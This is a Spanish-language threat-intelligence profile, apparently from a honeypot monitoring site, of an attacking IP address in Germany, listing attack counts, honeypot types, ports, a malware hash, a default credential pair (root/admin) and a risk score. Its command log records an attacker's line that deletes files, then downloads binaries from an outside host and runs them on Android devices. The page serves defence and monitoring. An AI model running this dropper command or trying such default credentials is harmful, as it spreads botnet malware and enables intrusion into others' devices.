⚠TROYANOSYVIRUS
Amenaza Activa • ALTO

193.142.147.209

Pais de Origen🇩🇪 Alemania
Primera Deteccion28/12/2025
Ultima Actividad30/12/2025
ISPColocaTel Inc.
🎯
465
Ataques Totales
🔌
6
Puertos
📡
5
Tipos Ataque
🦠
1
Malware

Geolocalizacion

Pais
🇩🇪 Alemania
Ciudad
Desconocida
ASN
AS213438
ISP
ColocaTel Inc.

Tipos de Ataque

cowrie
h0neytr4p
honeytrap
adbhoney
honeyaml

Puertos Atacados

555523300030013002443

Malware Asociado

e3b0c44298fc1c149afb...→

Credenciales Intentadas

🔐root/admin
49x

Comandos Ejecutados

$cd /data/local/tmp/; rm *; busybox wget http://94.154.35.154/arm.uhavenobotsxd; curl http://94.154.35.154/arm.uhavenobotsxd -O; chmod +x arm.uhavenobotsxd; ./arm.uhavenobotsxd android; busybox wget http://94.154.35.154/arm5.uhavenobotsxd; curl http://94.154.35.154/arm5.uhavenobotsxd -O; chmod +x arm5.uhavenobotsxd; ./arm5.uhavenobotsxd android; busybox wget http://94.154.35.154/arm6.uhavenobotsxd; curl http://94.154.35.154/arm6.uhavenobotsxd -O; chmod +x arm6.uhavenobotsxd; ./arm6.uhavenobotsxd 51x

Evaluacion de Riesgo

75
/100
BajoMedioAltoCritico